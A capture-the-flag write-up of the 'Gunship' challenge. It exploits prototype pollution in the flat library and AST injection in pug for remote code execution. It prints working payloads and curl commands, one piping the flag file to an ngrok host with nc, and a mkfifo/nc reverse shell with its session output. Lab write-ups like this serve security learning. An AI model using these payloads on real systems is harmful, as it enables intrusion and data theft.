Gunship
4 minutes to read
We have a website with a nice style:

There is only one user input:

This is a Node.js application that uses pug as a template renderer (as shown in the available files from the challenge).
It also uses flat to parse JSON data, as shown in the following file called routes/index.js:
const path = require('path')
const express = require('express')
const pug = require('pug')
const { unflatten } = require('flat')
const router = express.Router()
router.get('/', (req, res) => {
return res.sendFile(path.resolve('views/index.html'))
})
router.post('/api/submit', (req, res) => {
const { artist } = unflatten(req.body)
if (
artist.name.includes('Haigh') ||
artist.name.includes('Westaway') ||
artist.name.includes('Gingell')
) {
return res.json({
response: pug.compile(
'span Hello #{user}, thank you for letting us know!'
)({ user: 'guest' })
})
}
return res.json({
response: 'Please provide us with the full name of an existing member.'
})
})
module.exports = router
There is a well-known vulnerability of unflatten from the flat module. It is a Prototype Pollution vulnerability, which basically allows to define global variables.
This vulnerability combined with a template renderer such as pug (or handlebars) can lead to Remote Code Execution (RCE) because of a debugging feature. All of this is clearly explained in HackTricks.
We can test that Prototype Pollution works just by running the challenge in a Docker container and putting a simple console.log(x) after the unflatten statement.
Now, if we provide the following JSON payload the console.log(x) will result in a true message in the server log (now x is a global variable):
{
"__proto__.x": true
}
Then we can test some payloads with pug, according to the blogpost mentioned before. With the following payload, we can put some text after a template block (for example #{user} on the JavaScript file shown above):
{
"artist.name": "Haigh",
"__proto__.block": {
"type": "Text",
"val": "RandomText"
}
}
$ curl 157.245.43.98:31191/api/submit -H 'Content-Type: application/json' -d '{"artist.name":"Haigh","__proto__.block":{"type":"Text","val":"RandomText"}}'
{"response":"<span>Hello guestRandomText, thank you for letting us know!</span>"}
We see that guest is followed by RandomText so we are able to use Prototype Pollution to perform AST Injection and modify the behavior of pug.
Notice that we used Haigh as artist.name because we need that artist.name.includes('Haigh') returns true to make pug render the message.
There is a way to gain RCE by using line instead of val. However, it will not be printed in the response from the server. The straightforward thing to get the flag is trying to use a reverse TCP shell. However, this is a little overkill because we only need the flag (although the filename is randomized, we can use wildcards).
As this is a public instance, we need to have a public IP address to receive the connection. That is where ngrok comes into place.
We can simply start a nc listener in port 4444, for example. And then start ngrok:
$ ngrok tcp 4444
ngrok
Session Status online
Account Rocky (Plan: Free)
Version 2.3.40
Region United States (us)
Latency 120.893ms
Web Interface http://127.0.0.1:4040
Forwarding tcp://0.tcp.ngrok.io:14109 -> localhost:4444
Connections ttl opn rt1 rt5 p50 p90
1 0 0.00 0.00 0.00 0.00
As a result, we have created a tunnel from our private socket to the public one hosted by ngrok.
This will be the payload to retrieve the flag (using a wildcard):
{
"artist.name": "Haigh",
"__proto__.block": {
"type": "Text",
"line": "process.mainModule.require(\"child_process\").execSync(\"cat /app/flag* | nc 0.tcp.ngrok.io 14109\")"
}
}
$ curl 157.245.43.98:31191/api/submit -H 'Content-Type: application/json' -d '{"artist.name":"Haigh","__proto__.block":{"type":"Text","line":"process.mainModule.require(\"child_process\").execSync(\"cat /app/flag* | nc 0.tcp.ngrok.io 14109\")"}}'
{"response":"<span>Hello guestRandomText, thank you for letting us know!</span>"}
$ nc -nlvp 4444
Ncat: Version 7.92 ( https://nmap.org/ncat )
Ncat: Listening on :::4444
Ncat: Listening on 0.0.0.0:4444
Ncat: Connection from ::1.
Ncat: Connection from ::1:59447.
HTB{wh3n_lif3_g1v3s_y0u_p6_st4rT_p0llut1ng_w1th_styl3!!}
It is also possible to get a reverse shell. The payload is this one:
{
"artist.name": "Haigh",
"__proto__.block": {
"type": "Text",
"line": "process.mainModule.require(\"child_process\").execSync(\"rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 0.tcp.ngrok.io 14109 >/tmp/f\")"
}
}
$ nc -nlvp 4444
Ncat: Version 7.92 ( https://nmap.org/ncat )
Ncat: Listening on :::4444
Ncat: Listening on 0.0.0.0:4444
Ncat: Connection from ::1.
Ncat: Connection from ::1:59469.
/bin/sh: can't access tty; job control turned off
/app $ whoami
nobody
/app $ ls
flagYFOSp
index.js
node_modules
package.json
routes
static
views
yarn.lock
/app $ cat flagYFOSp
HTB{wh3n_lif3_g1v3s_y0u_p6_st4rT_p0llut1ng_w1th_styl3!!}